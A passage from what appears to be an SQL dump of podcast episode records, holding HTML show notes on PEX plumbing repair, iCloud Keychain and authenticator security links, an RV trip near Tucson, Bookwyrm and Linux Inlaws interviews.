href=\"https://www.imore.com/icloud-keychain\" class=\"uri\">https://www.imore.com/icloud-keychain</a><br />\n<a href=\"https://www.intego.com/mac-security-blog/mac-and-ios-keychain-tutorial-how-apples-icloud-keychain-works/\" class=\"uri\">https://www.intego.com/mac-security-blog/mac-and-ios-keychain-tutorial-how-apples-icloud-keychain-works/</a><br />\n<a href=\"https://www.podfeet.com/blog/2021/06/icloud-keychain-vs-1password/\" class=\"uri\">https://www.podfeet.com/blog/2021/06/icloud-keychain-vs-1password/</a></p></li>\n<li><p>iCloud Keychain 2FA - how to<br />\n<a href=\"https://www.guidingtech.com/use-icloud-keychain-two-factor-authentication/\" class=\"uri\">https://www.guidingtech.com/use-icloud-keychain-two-factor-authentication/</a></p></li>\n<li><p>Apple iCloud Keychain security issues<br />\n<a href=\"https://www.wired.com/story/keysteal-apple-keychain-attack-shenanigans/\" class=\"uri\">https://www.wired.com/story/keysteal-apple-keychain-attack-shenanigans/</a></p></li>\n<li><p>Microsoft Authenticator vs Google Authenticator<br />\n<a href=\"https://www.365tech.ca/which-one-is-better-microsoft-authenticator-or-google-authenticator/\" class=\"uri\">https://www.365tech.ca/which-one-is-better-microsoft-authenticator-or-google-authenticator/</a></p></li>\n<li><p>Google Authenticator<br />\n<a href=\"https://www.techdim.com/what-is-google-authenticator/\" class=\"uri\">https://www.techdim.com/what-is-google-authenticator/</a></p></li>\n<li><p>Google Authenticator security issue<br />\n<a href=\"https://privacypros.io/u2f/stop-using-google-auth/\" class=\"uri\">https://privacypros.io/u2f/stop-using-google-auth/</a></p></li>\n<li><p>Microsoft Authenticator<br />\n<a href=\"https://www.androidauthority.com/microsoft-authenticator-987754/\" class=\"uri\">https://www.androidauthority.com/microsoft-authenticator-987754/</a></p></li>\n<li><p>Microsoft Authenticator security issue<br />\n<a href=\"https://www.transmitsecurity.com/blog/microsoft-authenticator-a-false-sense-of-security\" class=\"uri\">https://www.transmitsecurity.com/blog/microsoft-authenticator-a-false-sense-of-security</a></p></li>\n<li><p>Permanent link because it\'s very cool.<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity, security, 2FA, EvilSteve, password manager ,password, breach',0,0,1),
(3604,'2022-05-26','Everything You Always Wanted to Know About PEX Part 01- Let\'s Talk About PEX - Introduction ',782,'Introduction to PEX','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-01--lets-talk-about-pex---introduction\">Part 01- Let\'s Talk About PEX - Introduction</h3>\n<h3 id=\"why-my-story\">Why? My story</h3>\n<ol type=\"1\">\n<li>Why am I posting about plumbing on HPR? \"Of interest to hackers\"\n<ol type=\"1\">\n<li>I find it interesting</li>\n<li>We like to learn new things</li>\n<li>We like to understand\n<ol type=\"1\">\n<li>How things work</li>\n<li>How things break</li>\n<li>How to use non-standard approached to solve problems</li>\n</ol></li>\n<li>Others can learn from my experience, troubleshooting process, etc...</li>\n<li>I had fun creating the episode titles.</li>\n</ol></li>\n<li>Pinhole leaks in copper pipe\n<ol type=\"1\">\n<li>Causes &#x2013; Note plumbing is around 40 years old and original to house</li>\n<li>Poor quality copper Shoddy installation</li>\n<li>Failure to de-bur pipe before soldering</li>\n<li>Not properly hung from joists\n<ol type=\"1\">\n<li>Pipe on pipe</li>\n<li>Pipe on steel wire</li>\n</ol></li>\n<li>Bad soldering technique\n<ol type=\"1\">\n<li>Lumpy solder</li>\n<li>Flux residue</li>\n<li>Excessive flux</li>\n</ol></li>\n<li>Hard water\n<ol type=\"1\">\n<li>Only some neighbors experiencing the same issue, and their houses were constructed by the same builder.</li>\n</ol></li>\n<li>Learn more about copper pipe corrosion\n<ol type=\"1\">\n<li>How to Stop Copper Pipe Corrosion - This Old House YouTube Channel</li>\n<li><a href=\"https://www.youtube.com/watch?v=nD5lMITzx_Y\" class=\"uri\">https://www.youtube.com/watch?v=nD5lMITzx_Y</a></li>\n</ol></li>\n<li>High Water Pressure\n<ol type=\"1\">\n<li>Normal = 60-80 PSI</li>\n<li>Tested at 63 PSI = GOOD!!</li>\n</ol></li>\n<li>Damage</li>\n<li>Water leaks caused damage to drywall in parts of my house and to items stored in my garage.</li>\n<li>Leaks in some areas can sometimes go unidentified for long enough to do extensive damage and even lead to dangerous mold growth.</li>\n</ol></li>\n<li>Possible solutions\n<ol type=\"1\">\n<li>Short term</li>\n<li>Patch\n<ol type=\"1\">\n<li>Epoxy kits</li>\n<li>Can be inconsistent</li>\n<li>May not bond to corroded pipe</li>\n<li>Some require turning off water and dry pipes</li>\n<li>Water activated tape</li>\n<li>Access around pipe</li>\n<li>May not bond to corroded pipe</li>\n<li>Some require turning off water and dry pipes</li>\n<li>Solder on patch</li>\n<li>Expensive</li>\n<li>Requires clean dry pipe exterior</li>\n<li>Requires draining the pipe</li>\n<li>Might as well cut out the leaking section and replace</li>\n<li>Repair Clamps</li>\n<li>Fast</li>\n<li>Strong</li>\n<li>Can be used while pipe is under pressure</li>\n<li>Minimal clearance needed</li>\n<li>Examples\n<ol type=\"1\">\n<li><a href=\"https://www.grainger.com/category/plumbing/pipe-tubing-and-fittings/pipe-repair-clamps-and-couplings/pipe-repair-clamps\" class=\"uri\">https://www.grainger.com/category/plumbing/pipe-tubing-and-fittings/pipe-repair-clamps-and-couplings/pipe-repair-clamps</a></li>\n<li><a href=\"https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Copper/N-5yc1vZbqomZ1z0vifv\" class=\"uri\">https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Copper/N-5yc1vZbqomZ1z0vifv</a></li>\n<li><a href=\"https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Multi-Purpose/N-5yc1vZbqomZ1z0vhwh\" class=\"uri\">https://www.homedepot.com/b/Plumbing-Plumbing-Accessories-Repair-Clamps/Multi-Purpose/N-5yc1vZbqomZ1z0vhwh</a></li>\n</ol></li>\n</ol></li>\n<li>Long Term</li>\n<li>Repair copper\n<ol type=\"1\">\n<li>Cut out damaged section and replace using SharkBite fittings</li>\n<li>Expensive</li>\n<li>Cut out damaged section and solder in new section of pipe</li>\n<li>Expensive</li>\n<li>Time consuming</li>\n<li>Many areas of corrosion visible</li>\n<li>Whack-a-mole - Where &amp; when will next leak occur?</li>\n</ol></li>\n<li>New copper\n<ol type=\"1\">\n<li>Expensive</li>\n<li>Difficult</li>\n<li>Time consuming</li>\n</ol></li>\n<li>PVC\n<ol type=\"1\">\n<li>Still difficult &#x2013; rigidity</li>\n</ol></li>\n<li>PEX\n<ol type=\"1\">\n<li>Comparatively inexpensive</li>\n<li>Flexible and easy to install</li>\n<li>Can use existing copper pipe as support structure</li>\n<li>Can completely redesign with a manifold</li>\n</ol></li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3614,'2022-06-09','Everything You Always Wanted to Know About PEX Part 02- The Joy of PEX - What is it and how is it us',838,'Information about PEX and how it is used','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-02--the-joy-of-pex---what-is-it-and-how-is-it-used\">Part 02- The Joy of PEX - What is it and how is it used?</h3>\n<ol type=\"1\">\n<li>What is PEX?\n<ol type=\"1\">\n<li>According to Wikipedia, Cross-linked polyethylene tubing is commonly abbreviated PEX, XPE or XLPE -<a href=\"https://en.wikipedia.org/wiki/Cross-linked_polyethylene\" class=\"uri\">https://en.wikipedia.org/wiki/Cross-linked_polyethylene</a></li>\n<li>This tubing is made of crosslinked polyethelene chains</li>\n<li>Type A, Type B, &amp; Type C</li>\n<li>These differ based on the process used to make them and the resulting properties of the resulting tubing</li>\n<li>PEX is used for a variety of products</li>\n<li>Insulation on high voltage high tension electrical cables</li>\n<li>Domestic water pipes</li>\n<li>Irrigation and hydroponic systems</li>\n<li>Natural gas and oil pipes</li>\n<li>Chemical handling and storage systems</li>\n</ol></li>\n<li>Domestic plumbing\n<ol type=\"1\">\n<li>Advantages</li>\n<li>Flexible &#x2013; easy to install and fish through walls and crawl spaces</li>\n<li>It will stretch a little &#x2013; Less likely to rupture if water contained in PEX freezes</li>\n<li>Does not rust or corrode</li>\n<li>Less expensive than copper</li>\n<li>Multiple colors for easy identification</li>\n<li>Easy to cut</li>\n<li>Connections are easy\n<ol type=\"1\">\n<li>Type A &#x2013; Expansion PEX</li>\n<li>Process\n<ol type=\"1\">\n<li>A roughly 1/2\" - 3/4\"sleeve of slightly larger PEX expansion sleeve is slipped over the end of the PEX-A tubing</li>\n<li>A special tool is inserted into the end of the tubing which stretches it outward a predefined amount.</li>\n<li>The tubing is slipped over the end of the desired PEX-A connector and allowed to shrink back to normal size, creating a seal</li>\n<li>Video: <a href=\"https://www.youtube.com/watch?v=Xot95W8vni0\" class=\"uri\">https://www.youtube.com/watch?v=Xot95W8vni0</a></li>\n</ol></li>\n<li>Advantages\n<ol type=\"1\">\n<li>Fast and easy to install</li>\n<li>Can install in tight places, since tool does not need to be at the connector</li>\n<li>More resistant to damage from kinks if bent over too tight a radius</li>\n<li>More resistant to damage from freezing</li>\n</ol></li>\n<li>Disadvantages\n<ol type=\"1\">\n<li>The tool is expensive (~$300 - $600 USD)</li>\n<li>In the United states, PEX-A connectors have limited availability in typical hardware and home improvement stores</li>\n</ol></li>\n<li>Type B &#x2013; Crimp PEX (Doesn\'t stretch)</li>\n<li>Process\n<ol type=\"1\">\n<li>A metal ring or band is placed around the end of the PEX-B tubing</li>\n<li>The tubing is slipped over the end of the desired PEX-B connector</li>\n<li>A special tool us used to crimp the metal ring or a different tool may be used to tighten the metal band, creating a seal</li>\n<li>Video: <a href=\"https://www.youtube.com/watch?v=U-t-ZeHv9s0\" class=\"uri\">https://www.youtube.com/watch?v=U-t-ZeHv9s0</a></li>\n</ol></li>\n<li>Advantages\n<ol type=\"1\">\n<li>Fast &amp; easy to install</li>\n<li>Crimping tools are less expensive</li>\n<li>Higher availability of a wider range of connectors at typical home improvement stores in the United States</li>\n</ol></li>\n<li>Disadvantages\n<ol type=\"1\">\n<li>If PEX-B is kinked, that portion is no longer safe to use and it must be replaced.</li>\n<li>Can be more difficult to connect in tight places</li>\n<li>This can be remedied with the use of SharkBite press on fittings.</li>\n<li>Less resistant to damage from freezing.</li>\n</ol></li>\n</ol></li>\n<li>Connections are also easily removed</li>\n<li>Disadvantages</li>\n<li>Easily damaged by ultraviolet light from sunlight or even LED &amp; fluorescent lights (Check manufacturer specifications. Most rated for only 30-60 days of sun exposure)\n<ol type=\"1\">\n<li><a href=\"https://www.doityourself.com/stry/how-long-can-pex-piping-be-exposed-to-sunlight\" class=\"uri\">https://www.doityourself.com/stry/how-long-can-pex-piping-be-exposed-to-sunlight</a></li>\n<li><a href=\"https://www.flowguardgold.com/en-us/blog/the-influence-of-uv-light-on-plastic-plumbing-systems\" class=\"uri\">https://www.flowguardgold.com/en-us/blog/the-influence-of-uv-light-on-plastic-plumbing-systems</a></li>\n</ol></li>\n<li>Long term durability yet to be proven</li>\n<li>Non-conductive (electrical ground)</li>\n<li>Not rigid &#x2013; Must be supported</li>\n<li>May induce an odd taste to water for the first few weeks.</li>\n<li>Some say PEX can leach toxins into water\n<ol type=\"1\">\n<li>Norwegian Institute of Public Health study says PEX is safe <a href=\"https://www.sciencedaily.com/releases/2011/11/111108132905.htm\" class=\"uri\">https://www.sciencedaily.com/releases/2011/11/111108132905.htm</a></li>\n<li>Ewg.org article expresses doubts to safety <a href=\"https://www.ewg.org/news-insights/news/amid-pipe-wars-researchers-wary-plastic-pipes-leaching-chemicals\" class=\"uri\">https://www.ewg.org/news-insights/news/amid-pipe-wars-researchers-wary-plastic-pipes-leaching-chemicals</a></li>\n</ol></li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3624,'2022-06-23','Everything You Always Wanted to Know About PEX Parts 3 &amp; 4',816,'Discusses plumbing code and installation','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-03-pex-and-the-city-ordinances---how-to-make-certain-your-installation-meets-code\">Part 03 &#x2013; PEX and the City (Ordinances) - How to make certain your installation meets code</h3>\n<p>This will be a short episode, but a very important one.</p>\n<p>Since we have people from around the world who listen to Hacker Public Radio, I cannot begin to speculate what your local building codes allow or prohibit. In the majority of states within the United States of America, a property owner can perform plumbing maintenance on their own residence. Otherwise you need to be a licensed plumber. That may not be true for all states, and there can be inspections required and sometimes even fines for code violations.</p>\n<p>Rules also vary for where PEX can be installed, how and how frequently it must be supported, and whether the work must be inspected or whether it requires a permit.</p>\n<p>The point of this section is to remind you to do your research to find out what the rules are in your specific region, and then be sure to follow them. When in doubt, consult a licensed plumber in your area.</p>\n<h3 id=\"part-04-pex-lies-and-silicone-tape-my-installation-experience-part-1\">Part 04 &#x2013; PEX, Lies, and Silicone Tape &#x2013; My installation experience part 1</h3>\n<p>If you have missed the previous episodes in this series, I encourage you to review them before continuing because they will provide valuable context around my plumbing adventures.</p>\n<ol type=\"1\">\n<li>Design &#x2013; The best place to start.\n<ol type=\"1\">\n<li>Option 1 &#x2013; Follow existing pipe</li>\n<li>Option 2 &#x2013; Install manifold valve system for greater control</li>\n<li>Replacing everything or connecting to existing pipe or fixtures?</li>\n</ol></li>\n<li>Materials\n<ol type=\"1\">\n<li>PEX-A &#x2013;vs- PEX-B</li>\n<li>Decisions, decisions.</li>\n<li>PEX-B Wins</li>\n<li>Manifold</li>\n<li>Allows specific sections to be turned on and off independently</li>\n<li>Examples: <a href=\"https://www.supplyhouse.com/PEX-Manifolds-518000\" class=\"uri\">https://www.supplyhouse.com/PEX-Manifolds-518000</a></li>\n<li>Connectors</li>\n<li>New Valves</li>\n<li>Transition connectors\n<ol type=\"1\">\n<li>To copper</li>\n<li>Sharkbite</li>\n<li>Solder</li>\n<li>To PVC</li>\n<li>Sharkbite</li>\n<li>Glue</li>\n<li>To main water line</li>\n<li>To/From Water heater</li>\n</ol></li>\n<li>Silicone tape or pipe dope</li>\n<li>Hangers &amp; Wall clamps</li>\n<li>Crimp rings</li>\n</ol></li>\n<li>Tools\n<ol type=\"1\">\n<li>Crimp tool</li>\n<li>Removal tool</li>\n<li>Sharkbite</li>\n<li>Depth gauge</li>\n<li>Removal tool</li>\n<li>Tape measure</li>\n<li>String / wire phish</li>\n</ol></li>\n<li>Planning\n<ol type=\"1\">\n<li>Most important step</li>\n<li>With proper planning you can reduce service outage</li>\n<li>Some steps can be done before shutting off water</li>\n<li>Access holes</li>\n<li>Running / connecting PEX sections</li>\n</ol></li>\n<li>Assistance\n<ol type=\"1\">\n<li>While an individual installer can redo a house with PEX, it is not ideal. If you can get another person to help, it will make the process go much easier.</li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3634,'2022-07-07','Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single Installer',1667,'My PEX installation experience part 2','<h2 id=\"everything-you-always-wanted-to-know-about-pex\">Everything You Always Wanted to Know About PEX</h2>\n<h3 id=\"part-05-pex-and-the-single-installer-my-pex-installation-experience-part-2\">Part 05&#x2013; PEX and the Single Installer &#x2013; My PEX installation experience part 2</h3>\n<h3 id=\"pulling-pex\">Pulling PEX</h3>\n<ol type=\"1\">\n<li>Much like pulling thick wire\n<ol type=\"1\">\n<li>My method\n<ol type=\"1\">\n<li>Used fish tape to pull mason\'s line</li>\n<li>Tied mason\'s line to PEX about 4 inches from end.</li>\n<li>Taped above &amp; below with electrical tape</li>\n<li>Then tied line again closer to the end of PEX.</li>\n<li>Wrapped again with electrical tape</li>\n</ol></li>\n<li>Pull extra</li>\n<li>Unroll and let it lay straight for 24 hours if \"curve memory\" is a problem</li>\n<li>Can be challenging and require an individual installer to go back and forth between the feed point and the pull point.</li>\n</ol></li>\n<li>Supporting PEX\n<ol type=\"1\">\n<li>1\" and smaller PEX must be supported horizontally every 32 inches</li>\n<li>Vertically, it must be supported at every floor and midway between floors (every 4-6 feet)</li>\n<li><a href=\"https://www.pexuniverse.com/providing-proper-support-long-runs-pex-tubing\" class=\"uri\">https://www.pexuniverse.com/providing-proper-support-long-runs-pex-tubing</a></li>\n<li>Can be challenging to hold in place until secured</li>\n<li>Zip ties are your friend!</li>\n</ol></li>\n<li>Using a manifold\n<ol type=\"1\">\n<li>Determine your needs</li>\n<li>Number of hot and cold outputs</li>\n<li>Valve type\n<ol type=\"1\">\n<li>Handled</li>\n<li>Wrench/key</li>\n</ol></li>\n<li>Find a location with</li>\n<li>Easy access</li>\n<li>Fairly central to avoid long delays for hot water</li>\n<li>Limited light exposure</li>\n<li>Build or buy?</li>\n<li>Costs</li>\n<li>Appearance</li>\n<li>Materials</li>\n<li>Securing manifold in place</li>\n<li>Anchor securely\n<ol type=\"1\">\n<li>Block wall with anchors</li>\n<li>To wood for spanning wall studs (I don\'t know why I kept saying \"Joist\" during the recording)</li>\n<li>Do not anchor to drywall</li>\n</ol></li>\n<li>Insulate from wall if needed</li>\n</ol></li>\n<li>Connecting to the main line\n<ol type=\"1\">\n<li>What to replace and what to use</li>\n<li>Size matters</li>\n<li>Plan to include manifold if needed</li>\n</ol></li>\n<li>Connecting to water heater\n<ol type=\"1\">\n<li>Where/how to connect</li>\n<li>Pipe Unions?</li>\n<li>Protect from heat</li>\n<li>Shut-off valve</li>\n<li>Expansion tank</li>\n<li>Silicon tape or pipe dope</li>\n</ol></li>\n<li>Connecting to endpoints\n<ol type=\"1\">\n<li>What to keep and what to replace</li>\n<li>Transition connectors</li>\n<li>SharkBite</li>\n<li>Solder</li>\n<li>Thread</li>\n<li>Glue</li>\n</ol></li>\n<li>Exterior hose taps\n<ol type=\"1\">\n<li>Reuse or replace?</li>\n<li>Frost free / anti-siphon</li>\n<li>Anchor securely</li>\n<li>Help is better!</li>\n</ol></li>\n<li>Turning it on!\n<ol type=\"1\">\n<li>If using a manifold turn on one section at a time, from the bottom up</li>\n<li>Open sink valves</li>\n<li>Ease it on a little at a time</li>\n<li>Then increase flow</li>\n<li>Turn off sink tap (Slowly) to let pressure build</li>\n<li>Keep watching for leaks</li>\n<li>Coordinate with a partner and communicate (cell phone?)</li>\n</ol></li>\n<li>Afterwards\n<ol type=\"1\">\n<li>Cover any PEX exposed to light</li>\n<li>Watch for leaks</li>\n<li>Repair holes</li>\n<li>Run water daily to flush out bad taste</li>\n<li>Inspection?</li>\n</ol></li>\n</ol>\n',394,0,0,'CC-BY-SA','diy, plumbing,PEX',0,0,1),
(3760,'2022-12-30','Bookwyrm',825,'This episode looks at a relatively new but promising alternative to Goodreads that is firmly in the ','<p>Federated social media can open up some wonderful possibilities to reimagine some of the social apps we already use and find ways to do them better. In this episode I want to highlight a new contender for a Fediverse application that may be able to replace Goodreads. Is it up to the task? We\'ll look at the pluses and minuses in this episode.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://joinbookwyrm.com/\" class=\"uri\">https://joinbookwyrm.com/</a></li>\n<li><a href=\"https://www.goodreads.com/\" class=\"uri\">https://www.goodreads.com/</a></li>\n<li><a href=\"https://github.com/bookwyrm-social/bookwyrm\" class=\"uri\">https://github.com/bookwyrm-social/bookwyrm</a></li>\n<li><a href=\"https://bookwyrm.social/\" class=\"uri\">https://bookwyrm.social/</a></li>\n<li><a href=\"https://www.zwilnik.com/better-social-media/bookwyrm/\" class=\"uri\">https://www.zwilnik.com/better-social-media/bookwyrm/</a></li>\n</ul>\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Goodreads, library, Bookwyrm',0,0,1),
(3770,'2023-01-13','Tucson',908,'We move to Benson, a town just southeast of Tucson, where we will stay for a month.','<p>We wrap up our stay in Ajo, Arizona and move over to Benson, Arizona, not far from Tucson. Here we will stay for a month. And we don\'t run out of things to do. This was one of our favorite stops of the trip.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKvKF\" class=\"uri\">https://flic.kr/s/aHBqjzKvKF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKwew\" class=\"uri\">https://flic.kr/s/aHBqjzKwew</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKwWe\" class=\"uri\">https://flic.kr/s/aHBqjzKwWe</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKDGL\" class=\"uri\">https://flic.kr/s/aHBqjzKDGL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKCT2\" class=\"uri\">https://flic.kr/s/aHBqjzKCT2</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKCBS\" class=\"uri\">https://flic.kr/s/aHBqjzKCBS</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKDbP\" class=\"uri\">https://flic.kr/s/aHBqjzKDbP</a></li>\n<li><a href=\"https://www.palain.com/travel/tucson/\" class=\"uri\">https://www.palain.com/travel/tucson/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona',0,0,1),
(3790,'2023-02-10','Tucson, Part 2',778,'We continue our month-long stay in Benson, a town just southeast of Tucson.','<p>We wrap up our stay in Tucson, Arizona and move over to Benson, Arizona, not far from Tucson. Here we will stay for a month. And we don\'t run out of things to do. This was one of our favorite stops of the trip. In this episode we visit an old west movie set, Saguaro National Park, and tour a copper mine.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKEoM\" class=\"uri\">https://flic.kr/s/aHBqjzKEoM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKKPu\" class=\"uri\">https://flic.kr/s/aHBqjzKKPu</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKLPk\" class=\"uri\">https://flic.kr/s/aHBqjzKLPk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKMsj\" class=\"uri\">https://flic.kr/s/aHBqjzKMsj</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKNpv\" class=\"uri\">https://flic.kr/s/aHBqjzKNpv</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKMS9\" class=\"uri\">https://flic.kr/s/aHBqjzKMS9</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKRuY\" class=\"uri\">https://flic.kr/s/aHBqjzKRuY</a></li>\n<li><a href=\"https://www.palain.com/travel/tucson-part-2/\" class=\"uri\">https://www.palain.com/travel/tucson-part-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona, Tucson',0,0,1),
(3629,'2022-06-30','Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosion',4365,'An interview with Eric Rescorla (Firefox CTO) on Browsers, the Internet and hard-core sci-fi','<p>\r\nIn this episode, Martin and Chris interview Eric Rescorla, the CTO of Firefox at Mozilla. After\r\ndiscussing the weather situation in the Kingdom formerly known as the UK, our two aging heros\r\ngo right into browsers, programming languages, the Mozilla ecosystem and internet history and future\r\nalike. This episode again is not for the faint-hearted as none of the gory details are spared: We learn about Chris\' t-shirt situation (and how you can kidnap apparel), why Google is so sucessful, data privacy and Internet monetization. Never mind rendering engines. Plus: more Rust marketing (Rebecca Rumbul: Take note :-). \r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Firefox: <a href=\"https://www.mozilla.org/en-US/firefox/browsers\" target=_blank>https://www.mozilla.org/en-US/firefox/browsers</a></li>\r\n<li>Mozilla Foundation: <a href=\"https://foundation.mozilla.org\" target=_blank>https://foundation.mozilla.org</a></li>\r\n<li>Mozilla Corporation: <a href=\"https://www.mozilla.org\" target=_blank>https://www.mozilla.org</a></li>\r\n<li>Gecko: <a href=\"https://developer.mozilla.org/en-US/docs/Glossary/Gecko\" target=_blank>https://developer.mozilla.org/en-US/docs/Glossary/Gecko</a></li>\r\n<li>Blink: <a href=\"https://www.chromium.org/blink\" target=_blank>https://www.chromium.org/blink</a></li>\r\n<li>Servo: <a href=\"https://servo.org\" target=_blank>https://servo.org</a></li>\r\n<li>Quantum: <a href=\"https://wiki.mozilla.org/Quantum\" target=_blank>https://wiki.mozilla.org/Quantum</a></li>\r\n<li>Webkit: <a href=\"https://webkit.org\" target=_blank>https://webkit.org</a></li>\r\n<li>Trident (MSHTML): <a href=\"https://en.wikipedia.org/wiki/MSHTML\" target=_blank>https://en.wikipedia.org/wiki/MSHTML</a></li>\r\n<li>CSS: <a href=\"https://www.w3.org/Style/CSS\" target=_blank>https://www.w3.org/Style/CSS</a></li>\r\n<li>Rust: <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Ada standard: <a href=\"https://www.iso.org/standard/16028.html\" target=_blank>https://www.iso.org/standard/16028.html</a></li>\r\n<li>Web Monetization: <a href=\"https://foundation.mozilla.org/de/campaigns/web-monetization\" target=_blank>https://foundation.mozilla.org/de/campaigns/web-monetization</a></li>\r\n<li>Mozilla\'s Vision for the Web: <a href=\"https://webvision.mozilla.org/full\" target=_blank>https://webvision.mozilla.org/full</a></li>\r\n<li>Peter Watt\'s Blindsight: <a href=\"https://rifters.com/real/Blindsight.htm\" target=_blank>https://rifters.com/real/Blindsight.htm</a></li>\r\n<li>Mozilla Manifesto: <a href=\"https://www.mozilla.org/en-US/about/manifesto/details\" target=_blank>https://www.mozilla.org/en-US/about/manifesto/details</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Firefox, rendering engines, Mozilla (Foundation and Corporation), Peter Watt, Rust',0,0,1),
(3636,'2022-07-11','The Importance of Data Reduction',2349,'I have a discussion about data reduction with special guest and author, R. Brady Frost','<h2 id=\"the-stuff-evil-steve-doesnt-want-you-to-know-with-lurking-prion.-this-is-season-1-episode-7.\">The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 7.</h2>\n<p>In this episode, I have a discussion about data reduction with special guest and author, R. Brady Frost. The discussion revolves around the security risk of keeping too much data available, and things that can be done to mitigate those risks.</p>\n<h2 id=\"pics-of-the-week\">Pics of the week:</h2>\n<ul>\n<li><p>Hackers (The Movie)<br />\n<a href=\"https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1\" class=\"uri\">https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1</a></p></li>\n<li><p>Our Flag Means Death<br />\n<a href=\"https://www.imdb.com/title/tt11000902/\" class=\"uri\">https://www.imdb.com/title/tt11000902/</a></p></li>\n<li><p>R. Brady Frost<br />\n<a href=\"https://www.rbradyfrost.com/\" class=\"uri\">https://www.rbradyfrost.com/</a><br />\n<a href=\"https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/\" class=\"uri\">https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/</a></p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3639,'2022-07-14','Linux Inlaws S01E60: The Job Interview',3262,'An interview with Kris Jenkins from Confluent','<p>\r\n\r\nIn this episode, the Linux Inlaws interview a potential new recruit :-) call Kris Jenkins, from Kafka, an Apache project implementing a scalable distributed event streaming platform (don\'t know what that is? Listen to the show! :-) . A cautious warning: This episode contains strong philosophical / political views, language and insights which may change your views on messaging systems in general and Kafka in particular. Two hints: Chris shares his view on what a database *really* is and Kris Jenkins tries hard to convince our two aging heroes that he\'s the man for the job (teaser: he decided to stay at his current position as a dev advocate at Confluent after all). Plus: More on love, death and robots. Interested in the details? Then don\'t miss this show! \r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Apache Kafka: <a href=\"https://kafka.apache.org\" target=_blank>https://kafka.apache.org</a></li>\r\n<li>Confluent: <a href=\"https://www.confluent.io\" target=_blank>https://www.confluent.io</a></li>\r\n<li>Redis: <a href=\"https://redis.io\" target=_blank>https://redis.io</a></li>\r\n<li>Databases: <a href=\"https://en.wikipedia.org/wiki/Database\" target=_blank>https://en.wikipedia.org/wiki/Database</a></li>\r\n<li>Event-Driven Architecture: <a href=\"https://en.wikipedia.org/wiki/Event-driven_architecture\" target=_blank>https://en.wikipedia.org/wiki/Event-driven_architecture</a></li>\r\n<li>RabbitMQ: <a href=\"https://github.com/rabbitmq\" target=_blank>https://github.com/rabbitmq</a></li>\r\n<li>Zookeeper note: <a href=\"https://medium.com/knerd/eureka-why-you-shouldnt-use-zookeeper-for-service-discovery-4932c5c7e764\" target=_blank>https://medium.com/knerd/eureka-why-you-shouldnt-use-zookeeper-for-service-discovery-4932c5c7e764</a></li>\r\n<li>KRaft: <a href=\"https://docs.confluent.io/platform/current/zookeeper/kraft.html\" target=_blank>https://docs.confluent.io/platform/current/zookeeper/kraft.html</a></li>\r\n<li>KIP: <a href=\"https://cwiki.apache.org/confluence/display/kafka/kafka+improvement+proposals\" target=_blank>https://cwiki.apache.org/confluence/display/kafka/kafka+improvement+proposals</a></li>\r\n<li>Monster Hunter: <a href=\"https://www.monsterhunter.com\" target=_blank>https://www.monsterhunter.com</a></li>\r\n<li>LOVE DEATH + ROBOTS: <a href=\"https://www.imdb.com/title/tt9561862\" target=_blank>https://www.imdb.com/title/tt9561862</a></li>\r\n<li>Unix Philosophy: <a 